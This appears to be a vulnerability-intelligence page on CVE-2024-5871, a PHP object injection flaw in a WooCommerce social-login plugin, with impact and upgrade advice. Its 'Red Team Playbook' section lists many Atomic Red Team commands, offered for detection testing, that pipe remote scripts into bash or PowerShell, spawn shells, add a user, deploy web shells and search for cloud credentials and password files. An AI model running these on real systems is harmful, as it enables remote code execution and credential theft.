CVE-2024-5871
Overview
This vulnerability is a PHP Object Injection flaw arising from insecure deserialization of untrusted input in the WooCommerce - Social Login WordPress plugin. The root cause lies in the processing of the 'woo_slg_verify' parameter, which accepts serialized PHP objects without proper validation. The affected component is the deserialization logic within the plugin, present in all versions up to and including 2.6.2.
Vulnerability Description
The WooCommerce - Social Login plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.6.2 via deserialization of untrusted input from the 'woo_slg_verify' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to inject malicious PHP objects, potentially leading to arbitrary code execution, file deletion, or sensitive data disclosure if a suitable POP chain exists via other installed plugins or themes. This can result in full system compromise or data breaches. The attack requires no user interaction or privileges (CVSS vector AV:N/AC:L/PR:N/UI:N) and can be conducted over the network, posing a critical risk to affected WordPress sites.
Solution
Users should upgrade the WooCommerce - Social Login plugin to a version later than 2.6.2 where this vulnerability is addressed. Detailed patch information and remediation steps are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/ffd592e6-2ac4-4af4-bfc0-d4f834157d71. No official workaround is documented; immediate upgrade is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WooCommerce - Social Login plugin for WordPress stems from a critical flaw in its handling of user input, specifically through the deserialization of untrusted data. This PHP Object Injection vulnerability allows an attacker to manipulate the deserialization process, leading to the potential injection of malicious PHP objects. The affected versions, up to and including 2.6.2, do not adequately validate input from the 'woo_slg_verify' parameter, creating a pathway for unauthorized users to exploit this weakness. The absence of a known "proof of concept" (POP) chain within the vulnerable software itself does not mitigate the risk, as the presence of additional plugins or themes could facilitate the exploitation of this vulnerability.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request containing specially formatted data targeting the vulnerable parameter. Since the vulnerability allows for unauthenticated access, the attacker does not need prior credentials or permissions to execute their attack. Once the malicious object is injected and deserialized, it could lead to arbitrary code execution, file deletion, or data retrieval, depending on the capabilities of the underlying system and any additional components that may be present. This makes the vulnerability particularly dangerous, as it can be exploited without any user interaction or authentication, allowing attackers to operate stealthily.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the WooCommerce platform for e-commerce operations. An attacker successfully exploiting this vulnerability could gain access to sensitive customer data, including payment information, personal details, and order histories. The potential for arbitrary file deletion could disrupt business operations, leading to downtime and loss of revenue. Furthermore, the ability to execute arbitrary code could allow attackers to deploy malware or create backdoors for future access, compounding the risk and leading to long-term security breaches. The reputational damage associated with a data breach can also have lasting effects on customer trust and brand integrity.
Detection and mitigation strategies for this vulnerability should focus on both immediate and long-term actions. Organizations using the affected plugin should prioritize updating to the latest version, where the vulnerability has been addressed. Regularly auditing and monitoring installed plugins and themes for vulnerabilities is crucial, as the presence of additional components can increase the attack surface. Implementing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security. Additionally, employing input validation and sanitization practices can mitigate the risk of deserialization attacks. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the PHP Object Injection vulnerability in the WooCommerce - Social Login plugin represents a severe threat to WordPress users, particularly those managing e-commerce sites. The ease of exploitation combined with the potential for significant impact underscores the importance of maintaining robust security practices. By prioritizing timely updates, conducting thorough security assessments, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the integrity and security of their systems and customer data.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Wpwebelite | Woocommerce Social Login | All |
cpe:2.3:a:wpwebelite:woocommerce_social_login:*:*:*:*:*:wordpress:*:*
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Exploits
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Threat Feed
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Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
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Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
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sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-5871 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/ffd592e6-2ac4-4af4-bfc0-d4f834157d71?source=cve |
| codecanyon.net |
GitHub CVE
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https://codecanyon.net/item/social-login-wordpress-woocommerce-plugin/8495883 |